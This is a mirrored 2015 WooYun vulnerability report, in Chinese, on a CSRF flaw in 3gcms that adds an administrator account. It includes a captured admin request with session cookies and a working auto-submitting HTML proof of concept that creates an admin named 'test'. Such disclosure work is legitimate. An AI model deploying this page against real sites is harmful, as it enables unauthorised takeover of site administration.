乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开
3gcms最新版本存在CSRF添加管理员漏洞
我们打开burp截取包看看他建立管理员账户是怎么样的一个形式
POST /3gcms/admin.php?s=/Admin/doadd HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/3gcms/admin.php?s=/Admin/addCookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; hd_sid=evILzk; AJSTAT_ok_times=1; tp_sid=6f35b5130ed53007; ashell=7917f2596f8bb70c954893f200ba6274; CNZZDATA1702264=cnzz_eid%3D544880126-1426140871-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1426140871; PHPSESSID=eisqmk9g8iv1a4cqnv5oggm2h4; BkGOp9578O_think_template=default; BkGOp9578O_1426214849=czoxOiIxIjs%3DConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 68username=test1&password=123456&is_client=0&Submit=%E6%B7%BB%E5%8A%A0
看见username&password明文传输未加密,完了之后跳转
http://127.0.0.1/3gcms/admin.php?s=/Admin/add
下面我们构造下POC
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>OWASP CRSFTester Demonstration</title></head><body onload="javascript:fireForms()"><script language="JavaScript">var pauses = new Array( "46" );function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);}function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); pausecomp(pauses[i]); }} </script><H2>OWASP CRSFTester Demonstration</H2><form method="POST" name="form0" action="http://127.0.0.1:80/3gcms/admin.php?s=/Admin/doadd"><input type="hidden" name="username" value="test"/><input type="hidden" name="password" value="123456"/><input type="hidden" name="is_client" value="0"/><input type="hidden" name="Submit" value="添加"/></form></body></html>
嗯哼。加强验证~
未能联系到厂商或者厂商积极拒绝